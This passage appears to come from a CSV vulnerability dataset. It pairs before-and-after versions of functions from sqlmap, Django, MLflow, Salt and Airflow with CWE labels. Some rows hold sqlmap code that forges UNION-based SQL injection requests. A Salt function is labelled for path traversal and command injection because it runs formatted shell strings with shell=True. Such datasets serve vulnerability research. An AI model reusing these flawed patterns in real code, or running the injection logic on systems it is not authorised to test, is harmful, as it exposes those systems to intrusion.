                        for num in xrange(startLimit, stopLimit):
                                if kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
                                    field = expressionFieldsList[0]
                                elif kb.dbms == DBMS.ORACLE:
                                    field = expressionFieldsList
                                else:
                                    field = None

                                limitedExpr = agent.limitQuery(num, expression, field)
                                output = resume(limitedExpr, None)

                                if not output:
                                    output = unionUse(limitedExpr, direct=True, unescape=False)

                                if output:
                                    value += output
                                    parseUnionPage(output, limitedExpr)

                                if conf.verbose in (1, 2):
                                    length = stopLimit - startLimit
                                    count = num - startLimit + 1
                                    status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%')
                                    dataToStdout(""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), status), True)

                    except KeyboardInterrupt:
                        print
                        warnMsg = ""Ctrl+C detected in dumping phase""
                        logger.warn(warnMsg)

                    finally:
                        clearConsoleLine(True)

                    return value

        value = unionUse(expression, direct=True, unescape=False)

    else:
        # Forge the inband SQL injection request
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        query = agent.forgeInbandQuery(expression, exprPosition=vector[0], count=vector[1], comment=vector[2], prefix=vector[3], suffix=vector[4])
        payload = agent.payload(newValue=query)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, content=True)
        reqCount += 1

        if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
            return

        # Parse the returned page to get the exact inband
        # sql injection output
        startPosition = resultPage.index(kb.misc.start)
        endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
        value = getUnicode(resultPage[startPosition:endPosition])

        duration = calculateDeltaSeconds(start)

        debugMsg = ""performed %d queries in %d seconds"" % (reqCount, duration)
        logger.debug(debugMsg)

    return value"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/session.py,0,"def setOs():
    """"""
    Example of kb.bannerFp dictionary:

    {
      'sp': set(['Service Pack 4']),
      'dbmsVersion': '8.00.194',
      'dbmsServicePack': '0',
      'distrib': set(['2000']),
      'dbmsRelease': '2000',
      'type': set(['Windows'])
    }
    """"""

    infoMsg   = """"
    condition = (
                  not kb.resumedQueries
                  or ( kb.resumedQueries.has_key(conf.url) and
                  not kb.resumedQueries[conf.url].has_key(""OS"") )
                )

    if not kb.bannerFp:
        return

    if ""type"" in kb.bannerFp:
        kb.os   = formatFingerprintString(kb.bannerFp[""type""])
        infoMsg = ""the back-end DBMS operating system is %s"" % kb.os

    if ""distrib"" in kb.bannerFp:
        kb.osVersion = formatFingerprintString(kb.bannerFp[""distrib""])
        infoMsg     += "" %s"" % kb.osVersion

    if ""sp"" in kb.bannerFp:
        kb.osSP = int(formatFingerprintString(kb.bannerFp[""sp""]).replace(""Service Pack "", """"))

    elif ""sp"" not in kb.bannerFp and kb.os == ""Windows"":
        kb.osSP = 0

    if kb.os and kb.osVersion and kb.osSP:
        infoMsg += "" Service Pack %d"" % kb.osSP

    if infoMsg:
        logger.info(infoMsg)

    if condition:
        dataToSessionFile(""[%s][%s][%s][OS][%s]\n"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))",,sqlmapproject/sqlmap,19c6804ded652860ef99bf74c683f15d1d1eb014,"def setOs():
    """"""
    Example of kb.bannerFp dictionary:

    {
      'sp': set(['Service Pack 4']),
      'dbmsVersion': '8.00.194',
      'dbmsServicePack': '0',
      'distrib': set(['2000']),
      'dbmsRelease': '2000',
      'type': set(['Windows'])
    }
    """"""

    infoMsg   = """"
    condition = (
                  not kb.resumedQueries
                  or ( kb.resumedQueries.has_key(conf.url) and
                  not kb.resumedQueries[conf.url].has_key(""OS"") )
                )

    if not kb.bannerFp:
        return

    if ""type"" in kb.bannerFp:
        kb.os   = formatFingerprintString(kb.bannerFp[""type""])
        infoMsg = ""the back-end DBMS operating system is %s"" % kb.os

    if ""distrib"" in kb.bannerFp:
        kb.osVersion = formatFingerprintString(kb.bannerFp[""distrib""])
        infoMsg     += "" %s"" % kb.osVersion

    if ""sp"" in kb.bannerFp:
        kb.osSP = int(formatFingerprintString(kb.bannerFp[""sp""]).replace(""Service Pack "", """"))

    elif ""sp"" not in kb.bannerFp and kb.os == ""Windows"":
        kb.osSP = 0

    if kb.os and kb.osVersion:
        infoMsg += "" Service Pack %d"" % kb.osSP

    if infoMsg:
        logger.info(infoMsg)

    if condition:
        dataToSessionFile(""[%s][%s][%s][OS][%s]\n"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/models/fields/related.py,0,"def contribute_to_class(self, cls, name, **kwargs):
        # To support multiple relations to self, it's useful to have a non-None
        # related name on symmetrical relations for internal reasons. The
        # concept doesn't make a lot of sense externally (""you want me to
        # specify *what* on my non-reversible relation?!""), so we set it up
        # automatically. The funky name reduces the chance of an accidental
        # clash.
        if self.rel.symmetrical and (self.rel.to == ""self"" or self.rel.to == cls._meta.object_name):
            self.rel.related_name = ""%s_rel_+"" % name
        elif self.rel.is_hidden():
            # If the backwards relation is disabled, replace the original
            # related_name with one generated from the m2m field name. Django
            # still uses backwards relations internally and we need to avoid
            # clashes between multiple m2m fields with related_name == '+'.
            self.rel.related_name = ""_%s_%s_+"" % (cls.__name__.lower(), name)

        super(ManyToManyField, self).contribute_to_class(cls, name, **kwargs)

        # The intermediate m2m model is not auto created if:
        #  1) There is a manually specified intermediate, or
        #  2) The class owning the m2m field is abstract.
        #  3) The class owning the m2m field has been swapped out.
        if not self.rel.through and not cls._meta.abstract and not cls._meta.swapped:
            self.rel.through = create_many_to_many_intermediary_model(self, cls)

        # Add the descriptor for the m2m relation
        setattr(cls, self.name, ReverseManyRelatedObjectsDescriptor(self))

        # Set up the accessor for the m2m table name for the relation
        self.m2m_db_table = curry(self._get_m2m_db_table, cls._meta)

        # Populate some necessary rel arguments so that cross-app relations
        # work correctly.
        if isinstance(self.rel.through, six.string_types):
            def resolve_through_model(field, model, cls):
                field.rel.through = model
            add_lazy_relation(cls, self, self.rel.through, resolve_through_model)",CWE-Unknown,django/django,eb85e6672aeb00c67a3666785965edeceed976af,"def contribute_to_class(self, cls, name, **kwargs):
        # To support multiple relations to self, it's useful to have a non-None
        # related name on symmetrical relations for internal reasons. The
        # concept doesn't make a lot of sense externally (""you want me to
        # specify *what* on my non-reversible relation?!""), so we set it up
        # automatically. The funky name reduces the chance of an accidental
        # clash.
        if self.rel.symmetrical and (self.rel.to == ""self"" or self.rel.to == cls._meta.object_name):
            self.rel.related_name = ""%s_rel_+"" % name
        elif self.rel.is_hidden():
            # If the backwards relation is disabled, replace the original
            # related_name with one generated from the m2m field name. Django
            # still uses backwards relations internally and we need to avoid
            # clashes between multiple m2m fields with related_name == '+'.
            self.rel.related_name = ""_%s_+"" % name

        super(ManyToManyField, self).contribute_to_class(cls, name, **kwargs)

        # The intermediate m2m model is not auto created if:
        #  1) There is a manually specified intermediate, or
        #  2) The class owning the m2m field is abstract.
        #  3) The class owning the m2m field has been swapped out.
        if not self.rel.through and not cls._meta.abstract and not cls._meta.swapped:
            self.rel.through = create_many_to_many_intermediary_model(self, cls)

        # Add the descriptor for the m2m relation
        setattr(cls, self.name, ReverseManyRelatedObjectsDescriptor(self))

        # Set up the accessor for the m2m table name for the relation
        self.m2m_db_table = curry(self._get_m2m_db_table, cls._meta)

        # Populate some necessary rel arguments so that cross-app relations
        # work correctly.
        if isinstance(self.rel.through, six.string_types):
            def resolve_through_model(field, model, cls):
                field.rel.through = model
            add_lazy_relation(cls, self, self.rel.through, resolve_through_model)"
,UNKNOWN,UNKNOWN,tests/utils/test_rest_utils.py,1,"def test_can_parse_as_json_object():
    assert _can_parse_as_json_object(""{}"")
    assert _can_parse_as_json_object('{""a"": ""b""}')
    assert _can_parse_as_json_object('{""a"": {""b"": ""c""}}')
    assert not _can_parse_as_json_object(""[0, 1, 2]"")
    assert not _can_parse_as_json_object('""abc""')
    assert not _can_parse_as_json_object(""123"")",CWE-703,mlflow/mlflow,a6104a4e4cd64adb256c569288e2bfe3f0034cc6,"def test_can_parse_as_json_object():
    assert _can_parse_as_json_object(""{}"")
    assert _can_parse_as_json_object('{""a"": ""b""}')
    assert _can_parse_as_json_object('{""a"": {""b"": ""c""}}')
    assert not _can_parse_as_json_object(""[0, 1, 2]"")
    assert not _can_parse_as_json_object('""abc""')
    assert not _can_parse_as_json_object(""123"")"
,UNKNOWN,UNKNOWN,salt/utils/thin.py,1,"def gen_thin(cachedir, extra_mods='', overwrite=False, so_mods='',
             python2_bin='python2', python3_bin='python3', absonly=True,
             compress='gzip', extended_cfg=None):
    '''
    Generate the salt-thin tarball and print the location of the tarball
    Optional additional mods to include (e.g. mako) can be supplied as a comma
    delimited string.  Permits forcing an overwrite of the output file as well.

    CLI Example:

    .. code-block:: bash

        salt-run thin.generate
        salt-run thin.generate mako
        salt-run thin.generate mako,wempy 1
        salt-run thin.generate overwrite=1
    '''
    if sys.version_info < (2, 6):
        raise salt.exceptions.SaltSystemExit('The minimum required python version to run salt-ssh is ""2.6"".')
    if compress not in ['gzip', 'zip']:
        log.warning('Unknown compression type: ""%s"". Falling back to ""gzip"" compression.', compress)
        compress = 'gzip'

    thindir = os.path.join(cachedir, 'thin')
    if not os.path.isdir(thindir):
        os.makedirs(thindir)
    thintar = os.path.join(thindir, 'thin.' + (compress == 'gzip' and 'tgz' or 'zip'))
    thinver = os.path.join(thindir, 'version')
    pythinver = os.path.join(thindir, '.thin-gen-py-version')
    salt_call = os.path.join(thindir, 'salt-call')
    pymap_cfg = os.path.join(thindir, 'supported-versions')
    code_checksum = os.path.join(thindir, 'code-checksum')
    digest_collector = salt.utils.hashutils.DigestCollector()

    with salt.utils.files.fopen(salt_call, 'wb') as fp_:
        fp_.write(_get_salt_call('pyall', **_get_ext_namespaces(extended_cfg)))

    if os.path.isfile(thintar):
        if not overwrite:
            if os.path.isfile(thinver):
                with salt.utils.files.fopen(thinver) as fh_:
                    overwrite = fh_.read() != salt.version.__version__
                if overwrite is False and os.path.isfile(pythinver):
                    with salt.utils.files.fopen(pythinver) as fh_:
                        overwrite = fh_.read() != str(sys.version_info[0])  # future lint: disable=blacklisted-function
            else:
                overwrite = True

        if overwrite:
            try:
                log.debug('Removing %s archive file', thintar)
                os.remove(thintar)
            except OSError as exc:
                log.error('Error while removing %s file: %s', thintar, exc)
                if os.path.exists(thintar):
                    raise salt.exceptions.SaltSystemExit('Unable to remove %s file. See logs for details.', thintar)
        else:
            return thintar
    if _six.PY3:
        # Let's check for the minimum python 2 version requirement, 2.6
        py_shell_cmd = ""{} -c 'import sys;sys.stdout.write(\""%s.%s\\n\"" % sys.version_info[:2]);'"".format(python2_bin)
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, shell=True)
        stdout, _ = cmd.communicate()
        if cmd.returncode == 0:
            py2_version = tuple(int(n) for n in stdout.decode('utf-8').strip().split('.'))
            if py2_version < (2, 6):
                raise salt.exceptions.SaltSystemExit(
                    'The minimum required python version to run salt-ssh is ""2.6"".'
                    'The version reported by ""{0}"" is ""{1}"". Please try ""salt-ssh '
                    '--python2-bin=<path-to-python-2.6-binary-or-higher>"".'.format(python2_bin, stdout.strip()))
        else:
            log.error('Unable to detect Python-2 version')
            log.debug(stdout)

    tops_failure_msg = 'Failed %s tops for Python binary %s.'
    tops_py_version_mapping = {}
    tops = get_tops(extra_mods=extra_mods, so_mods=so_mods)
    tops_py_version_mapping[sys.version_info.major] = tops

    # Collect tops, alternative to 2.x version
    if _six.PY2 and sys.version_info.major == 2:
        # Get python 3 tops
        py_shell_cmd = ""{0} -c 'import salt.utils.thin as t;print(t.gte())' '{1}'"".format(
            python3_bin, salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        stdout, stderr = cmd.communicate()
        if cmd.returncode == 0:
            try:
                tops = salt.utils.json.loads(stdout)
                tops_py_version_mapping['3'] = tops
            except ValueError as err:
                log.error(tops_failure_msg, 'parsing', python3_bin)
                log.exception(err)
        else:
            log.debug(tops_failure_msg, 'collecting', python3_bin)
            log.debug(stderr)

    # Collect tops, alternative to 3.x version
    if _six.PY3 and sys.version_info.major == 3:
        # Get python 2 tops
        py_shell_cmd = ""{0} -c 'import salt.utils.thin as t;print(t.gte())' '{1}'"".format(
            python2_bin, salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        stdout, stderr = cmd.communicate()
        if cmd.returncode == 0:
            try:
                tops = salt.utils.json.loads(stdout.decode('utf-8'))
                tops_py_version_mapping['2'] = tops
            except ValueError as err:
                log.error(tops_failure_msg, 'parsing', python2_bin)
                log.exception(err)
        else:
            log.debug(tops_failure_msg, 'collecting', python2_bin)
            log.debug(stderr)

    with salt.utils.files.fopen(pymap_cfg, 'wb') as fp_:
        fp_.write(_get_supported_py_config(tops=tops_py_version_mapping, extended_cfg=extended_cfg))

    tmp_thintar = _get_thintar_prefix(thintar)
    if compress == 'gzip':
        tfp = tarfile.open(tmp_thintar, 'w:gz', dereference=True)
    elif compress == 'zip':
        tfp = zipfile.ZipFile(tmp_thintar, 'w', compression=zlib and zipfile.ZIP_DEFLATED or zipfile.ZIP_STORED)
        tfp.add = tfp.write
    try:  # cwd may not exist if it was removed but salt was run from it
        start_dir = os.getcwd()
    except OSError:
        start_dir = None
    tempdir = None

    # Pack default data
    log.debug('Packing default libraries based on current Salt version')
    for py_ver, tops in _six.iteritems(tops_py_version_mapping):
        for top in tops:
            if absonly and not os.path.isabs(top):
                continue
            base = os.path.basename(top)
            top_dirname = os.path.dirname(top)
            if os.path.isdir(top_dirname):
                os.chdir(top_dirname)
            else:
                # This is likely a compressed python .egg
                tempdir = tempfile.mkdtemp()
                egg = zipfile.ZipFile(top_dirname)
                egg.extractall(tempdir)
                top = os.path.join(tempdir, base)
                os.chdir(tempdir)

            site_pkg_dir = _is_shareable(base) and 'pyall' or 'py{}'.format(py_ver)

            log.debug('Packing ""%s"" to ""%s"" destination', base, site_pkg_dir)
            if not os.path.isdir(top):
                # top is a single file module
                if os.path.exists(os.path.join(top_dirname, base)):
                    tfp.add(base, arcname=os.path.join(site_pkg_dir, base))
                continue
            for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
                for name in files:
                    if not name.endswith(('.pyc', '.pyo')):
                        digest_collector.add(os.path.join(root, name))
                        arcname = os.path.join(site_pkg_dir, root, name)
                        if hasattr(tfp, 'getinfo'):
                            try:
                                # This is a little slow but there's no clear way to detect duplicates
                                tfp.getinfo(os.path.join(site_pkg_dir, root, name))
                                arcname = None
                            except KeyError:
                                log.debug('ZIP: Unable to add ""%s"" with ""getinfo""', arcname)
                        if arcname:
                            tfp.add(os.path.join(root, name), arcname=arcname)

            if tempdir is not None:
                shutil.rmtree(tempdir)
                tempdir = None

    # Pack alternative data
    if extended_cfg:
        log.debug('Packing libraries based on alternative Salt versions')
    for ns, cfg in _six.iteritems(get_ext_tops(extended_cfg)):
        tops = [cfg.get('path')] + cfg.get('dependencies')
        py_ver_major, py_ver_minor = cfg.get('py-version')
        for top in tops:
            base, top_dirname = os.path.basename(top), os.path.dirname(top)
            os.chdir(top_dirname)
            site_pkg_dir = _is_shareable(base) and 'pyall' or 'py{0}'.format(py_ver_major)
            log.debug('Packing alternative ""%s"" to ""%s/%s"" destination', base, ns, site_pkg_dir)
            if not os.path.isdir(top):
                # top is a single file module
                if os.path.exists(os.path.join(top_dirname, base)):
                    tfp.add(base, arcname=os.path.join(ns, site_pkg_dir, base))
                continue
            for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
                for name in files:
                    if not name.endswith(('.pyc', '.pyo')):
                        digest_collector.add(os.path.join(root, name))
                        arcname = os.path.join(ns, site_pkg_dir, root, name)
                        if hasattr(tfp, 'getinfo'):
                            try:
                                tfp.getinfo(os.path.join(site_pkg_dir, root, name))
                                arcname = None
                            except KeyError:
                                log.debug('ZIP: Unable to add ""%s"" with ""getinfo""', arcname)
                        if arcname:
                            tfp.add(os.path.join(root, name), arcname=arcname)

    os.chdir(thindir)
    with salt.utils.files.fopen(thinver, 'w+') as fp_:
        fp_.write(salt.version.__version__)
    with salt.utils.files.fopen(pythinver, 'w+') as fp_:
        fp_.write(str(sys.version_info.major))  # future lint: disable=blacklisted-function
    with salt.utils.files.fopen(code_checksum, 'w+') as fp_:
        fp_.write(digest_collector.digest())
    os.chdir(os.path.dirname(thinver))

    for fname in ['version', '.thin-gen-py-version', 'salt-call', 'supported-versions', 'code-checksum']:
        tfp.add(fname)

    if start_dir:
        os.chdir(start_dir)
    tfp.close()

    shutil.move(tmp_thintar, thintar)

    return thintar","CWE-22, CWE-78",saltstack/salt,7e2cd343e187ba18eca44542ebb4f4662b1a9dbe,"def gen_thin(cachedir, extra_mods='', overwrite=False, so_mods='',
             python2_bin='python2', python3_bin='python3', absonly=True,
             compress='gzip', extended_cfg=None):
    '''
    Generate the salt-thin tarball and print the location of the tarball
    Optional additional mods to include (e.g. mako) can be supplied as a comma
    delimited string.  Permits forcing an overwrite of the output file as well.

    CLI Example:

    .. code-block:: bash

        salt-run thin.generate
        salt-run thin.generate mako
        salt-run thin.generate mako,wempy 1
        salt-run thin.generate overwrite=1
    '''
    if sys.version_info < (2, 6):
        raise salt.exceptions.SaltSystemExit('The minimum required python version to run salt-ssh is ""2.6"".')
    if compress not in ['gzip', 'zip']:
        log.warning('Unknown compression type: ""%s"". Falling back to ""gzip"" compression.', compress)
        compress = 'gzip'

    thindir = os.path.join(cachedir, 'thin')
    if not os.path.isdir(thindir):
        os.makedirs(thindir)
    thintar = os.path.join(thindir, 'thin.' + (compress == 'gzip' and 'tgz' or 'zip'))
    thinver = os.path.join(thindir, 'version')
    pythinver = os.path.join(thindir, '.thin-gen-py-version')
    salt_call = os.path.join(thindir, 'salt-call')
    pymap_cfg = os.path.join(thindir, 'supported-versions')
    code_checksum = os.path.join(thindir, 'code-checksum')
    digest_collector = salt.utils.hashutils.DigestCollector()

    with salt.utils.files.fopen(salt_call, 'wb') as fp_:
        fp_.write(_get_salt_call('pyall', **_get_ext_namespaces(extended_cfg)))

    if os.path.isfile(thintar):
        if not overwrite:
            if os.path.isfile(thinver):
                with salt.utils.files.fopen(thinver) as fh_:
                    overwrite = fh_.read() != salt.version.__version__
                if overwrite is False and os.path.isfile(pythinver):
                    with salt.utils.files.fopen(pythinver) as fh_:
                        overwrite = fh_.read() != str(sys.version_info[0])  # future lint: disable=blacklisted-function
            else:
                overwrite = True

        if overwrite:
            try:
                log.debug('Removing %s archive file', thintar)
                os.remove(thintar)
            except OSError as exc:
                log.error('Error while removing %s file: %s', thintar, exc)
                if os.path.exists(thintar):
                    raise salt.exceptions.SaltSystemExit('Unable to remove %s file. See logs for details.', thintar)
        else:
            return thintar
    if _six.PY3:
        # Let's check for the minimum python 2 version requirement, 2.6
        py_shell_cmd = ""{} -c 'import sys;sys.stdout.write(\""%s.%s\\n\"" % sys.version_info[:2]);'"".format(python2_bin)
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, shell=True)
        stdout, _ = cmd.communicate()
        if cmd.returncode == 0:
            py2_version = tuple(int(n) for n in stdout.decode('utf-8').strip().split('.'))
            if py2_version < (2, 6):
                raise salt.exceptions.SaltSystemExit(
                    'The minimum required python version to run salt-ssh is ""2.6"".'
                    'The version reported by ""{0}"" is ""{1}"". Please try ""salt-ssh '
                    '--python2-bin=<path-to-python-2.6-binary-or-higher>"".'.format(python2_bin, stdout.strip()))
        else:
            log.error('Unable to detect Python-2 version')
            log.debug(stdout)

    tops_failure_msg = 'Failed %s tops for Python binary %s.'
    tops_py_version_mapping = {}
    tops = get_tops(extra_mods=extra_mods, so_mods=so_mods)
    tops_py_version_mapping[sys.version_info.major] = tops

    # Collect tops, alternative to 2.x version
    if _six.PY2 and sys.version_info.major == 2:
        # Get python 3 tops
        py_shell_cmd = ""{0} -c 'import salt.utils.thin as t;print(t.gte())' '{1}'"".format(
            python3_bin, salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        stdout, stderr = cmd.communicate()
        if cmd.returncode == 0:
            try:
                tops = salt.utils.json.loads(stdout)
                tops_py_version_mapping['3'] = tops
            except ValueError as err:
                log.error(tops_failure_msg, 'parsing', python3_bin)
                log.exception(err)
        else:
            log.error(tops_failure_msg, 'collecting', python3_bin)
            log.debug(stderr)

    # Collect tops, alternative to 3.x version
    if _six.PY3 and sys.version_info.major == 3:
        # Get python 2 tops
        py_shell_cmd = ""{0} -c 'import salt.utils.thin as t;print(t.gte())' '{1}'"".format(
            python2_bin, salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
        cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        stdout, stderr = cmd.communicate()
        if cmd.returncode == 0:
            try:
                tops = salt.utils.json.loads(stdout.decode('utf-8'))
                tops_py_version_mapping['2'] = tops
            except ValueError as err:
                log.error(tops_failure_msg, 'parsing', python2_bin)
                log.exception(err)
        else:
            log.error(tops_failure_msg, 'collecting', python2_bin)
            log.debug(stderr)

    with salt.utils.files.fopen(pymap_cfg, 'wb') as fp_:
        fp_.write(_get_supported_py_config(tops=tops_py_version_mapping, extended_cfg=extended_cfg))

    tmp_thintar = _get_thintar_prefix(thintar)
    if compress == 'gzip':
        tfp = tarfile.open(tmp_thintar, 'w:gz', dereference=True)
    elif compress == 'zip':
        tfp = zipfile.ZipFile(tmp_thintar, 'w', compression=zlib and zipfile.ZIP_DEFLATED or zipfile.ZIP_STORED)
        tfp.add = tfp.write
    try:  # cwd may not exist if it was removed but salt was run from it
        start_dir = os.getcwd()
    except OSError:
        start_dir = None
    tempdir = None

    # Pack default data
    log.debug('Packing default libraries based on current Salt version')
    for py_ver, tops in _six.iteritems(tops_py_version_mapping):
        for top in tops:
            if absonly and not os.path.isabs(top):
                continue
            base = os.path.basename(top)
            top_dirname = os.path.dirname(top)
            if os.path.isdir(top_dirname):
                os.chdir(top_dirname)
            else:
                # This is likely a compressed python .egg
                tempdir = tempfile.mkdtemp()
                egg = zipfile.ZipFile(top_dirname)
                egg.extractall(tempdir)
                top = os.path.join(tempdir, base)
                os.chdir(tempdir)

            site_pkg_dir = _is_shareable(base) and 'pyall' or 'py{}'.format(py_ver)

            log.debug('Packing ""%s"" to ""%s"" destination', base, site_pkg_dir)
            if not os.path.isdir(top):
                # top is a single file module
                if os.path.exists(os.path.join(top_dirname, base)):
                    tfp.add(base, arcname=os.path.join(site_pkg_dir, base))
                continue
            for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
                for name in files:
                    if not name.endswith(('.pyc', '.pyo')):
                        digest_collector.add(os.path.join(root, name))
                        arcname = os.path.join(site_pkg_dir, root, name)
                        if hasattr(tfp, 'getinfo'):
                            try:
                                # This is a little slow but there's no clear way to detect duplicates
                                tfp.getinfo(os.path.join(site_pkg_dir, root, name))
                                arcname = None
                            except KeyError:
                                log.debug('ZIP: Unable to add ""%s"" with ""getinfo""', arcname)
                        if arcname:
                            tfp.add(os.path.join(root, name), arcname=arcname)

            if tempdir is not None:
                shutil.rmtree(tempdir)
                tempdir = None

    # Pack alternative data
    if extended_cfg:
        log.debug('Packing libraries based on alternative Salt versions')
    for ns, cfg in _six.iteritems(get_ext_tops(extended_cfg)):
        tops = [cfg.get('path')] + cfg.get('dependencies')
        py_ver_major, py_ver_minor = cfg.get('py-version')
        for top in tops:
            base, top_dirname = os.path.basename(top), os.path.dirname(top)
            os.chdir(top_dirname)
            site_pkg_dir = _is_shareable(base) and 'pyall' or 'py{0}'.format(py_ver_major)
            log.debug('Packing alternative ""%s"" to ""%s/%s"" destination', base, ns, site_pkg_dir)
            if not os.path.isdir(top):
                # top is a single file module
                if os.path.exists(os.path.join(top_dirname, base)):
                    tfp.add(base, arcname=os.path.join(ns, site_pkg_dir, base))
                continue
            for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
                for name in files:
                    if not name.endswith(('.pyc', '.pyo')):
                        digest_collector.add(os.path.join(root, name))
                        arcname = os.path.join(ns, site_pkg_dir, root, name)
                        if hasattr(tfp, 'getinfo'):
                            try:
                                tfp.getinfo(os.path.join(site_pkg_dir, root, name))
                                arcname = None
                            except KeyError:
                                log.debug('ZIP: Unable to add ""%s"" with ""getinfo""', arcname)
                        if arcname:
                            tfp.add(os.path.join(root, name), arcname=arcname)

    os.chdir(thindir)
    with salt.utils.files.fopen(thinver, 'w+') as fp_:
        fp_.write(salt.version.__version__)
    with salt.utils.files.fopen(pythinver, 'w+') as fp_:
        fp_.write(str(sys.version_info.major))  # future lint: disable=blacklisted-function
    with salt.utils.files.fopen(code_checksum, 'w+') as fp_:
        fp_.write(digest_collector.digest())
    os.chdir(os.path.dirname(thinver))

    for fname in ['version', '.thin-gen-py-version', 'salt-call', 'supported-versions', 'code-checksum']:
        tfp.add(fname)

    if start_dir:
        os.chdir(start_dir)
    tfp.close()

    shutil.move(tmp_thintar, thintar)

    return thintar"
,UNKNOWN,UNKNOWN,tests/api_fastapi/execution_api/routes/test_task_instances.py,1,"def test_ti_update_state_to_reschedule(self, client, session, create_task_instance, time_machine):
        """"""
        Test that tests if the transition to reschedule state is handled correctly.
        """"""

        instant = timezone.datetime(2024, 10, 30)
        time_machine.move_to(instant, tick=False)

        ti = create_task_instance(
            task_id=""test_ti_update_state_to_reschedule"",
            state=State.RUNNING,
            session=session,
        )
        ti.start_date = instant
        session.commit()

        payload = {
            ""state"": ""up_for_reschedule"",
            ""reschedule_date"": ""2024-10-31T11:03:00+00:00"",
            ""end_date"": DEFAULT_END_DATE.isoformat(),
        }

        response = client.patch(f""/execution/task-instances/{ti.id}/state"", json=payload)

        assert response.status_code == 204
        assert response.text == """"

        session.expire_all()

        tis = session.query(TaskInstance).all()
        assert len(tis) == 1
        assert tis[0].state == TaskInstanceState.UP_FOR_RESCHEDULE
        assert tis[0].next_method is None
        assert tis[0].next_kwargs is None
        assert tis[0].duration == 129600

        trs = session.query(TaskReschedule).all()
        assert len(trs) == 1
        assert trs[0].task_instance.dag_id == ""dag""
        assert trs[0].task_instance.task_id == ""test_ti_update_state_to_reschedule""
        assert trs[0].task_instance.run_id == ""test""
        assert trs[0].try_number == 0
        assert trs[0].start_date == instant
        assert trs[0].end_date == DEFAULT_END_DATE
        assert trs[0].reschedule_date == timezone.parse(""2024-10-31T11:03:00+00:00"")
        assert trs[0].task_instance.map_index == -1
        assert trs[0].duration == 129600",CWE-703,apache/airflow,5e1f39c488164a2bb77661ad9c7afb3f2241a0bf,"def test_ti_update_state_to_reschedule(self, client, session, create_task_instance, time_machine):
        """"""
        Test that tests if the transition to reschedule state is handled correctly.
        """"""

        instant = timezone.datetime(2024, 10, 30)
        time_machine.move_to(instant, tick=False)

        ti = create_task_instance(
            task_id=""test_ti_update_state_to_reschedule"",
            state=State.RUNNING,
            session=session,
        )
        ti.start_date = instant
        session.commit()

        payload = {
            ""state"": ""up_for_reschedule"",
            ""reschedule_date"": ""2024-10-31T11:03:00+00:00"",
            ""end_date"": DEFAULT_END_DATE.isoformat(),
        }

        response = client.patch(f""/execution/task-instances/{ti.id}/state"", json=payload)

        assert response.status_code == 204
        assert response.text == """"

        session.expire_all()

        tis = session.query(TaskInstance).all()
        assert len(tis) == 1
        assert tis[0].state == TaskInstanceState.UP_FOR_RESCHEDULE
        assert tis[0].next_method is None
        assert tis[0].next_kwargs is None
        assert tis[0].duration == 129600

        trs = session.query(TaskReschedule).all()
        assert len(trs) == 1
        assert trs[0].dag_id == ""dag""
        assert trs[0].task_id == ""test_ti_update_state_to_reschedule""
        assert trs[0].run_id == ""test""
        assert trs[0].try_number == 0
        assert trs[0].start_date == instant
        assert trs[0].end_date == DEFAULT_END_DATE
        assert trs[0].reschedule_date == timezone.parse(""2024-10-31T11:03:00+00:00"")
        assert trs[0].map_index == -1
        assert trs[0].duration == 129600"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/projects/__init__.py,0,"def _get_docker_command(image, active_run, docker_args=None, volumes=None, user_env_vars=None):
    docker_path = ""docker""
    cmd = [docker_path, ""run"", ""--rm""]

    if docker_args:
        for name, value in docker_args.items():
            # Passed just the name as boolean flag
            if isinstance(value, bool) and value:
                if len(name) == 1:
                    cmd += ['-' + name]
                else:
                    cmd += ['--' + name]
            else:
                # Passed name=value
                if len(name) == 1:
                    cmd += ['-' + name, value]
                else:
                    cmd += ['--' + name, value]

    env_vars = _get_run_env_vars(run_id=active_run.info.run_id,
                                 experiment_id=active_run.info.experiment_id)
    tracking_uri = tracking.get_tracking_uri()
    tracking_cmds, tracking_envs = _get_docker_tracking_cmd_and_envs(tracking_uri)
    artifact_cmds, artifact_envs = \
        _get_docker_artifact_storage_cmd_and_envs(active_run.info.artifact_uri)

    cmd += tracking_cmds + artifact_cmds
    env_vars.update(tracking_envs)
    env_vars.update(artifact_envs)
    if user_env_vars is not None:
        for user_entry in user_env_vars:
            if isinstance(user_entry, list):
                # User has defined a new environment variable for the docker environment
                env_vars[user_entry[0]] = user_entry[1]
            else:
                # User wants to copy an environment variable from system environment
                system_var = os.environ.get(user_entry)
                if system_var is None:
                    raise MlflowException(
                        ""This project expects the %s environment variables to ""
                        ""be set on the machine running the project, but %s was ""
                        ""not set. Please ensure all expected environment variables ""
                        ""are set"" % ("", "".join(user_env_vars), user_entry))
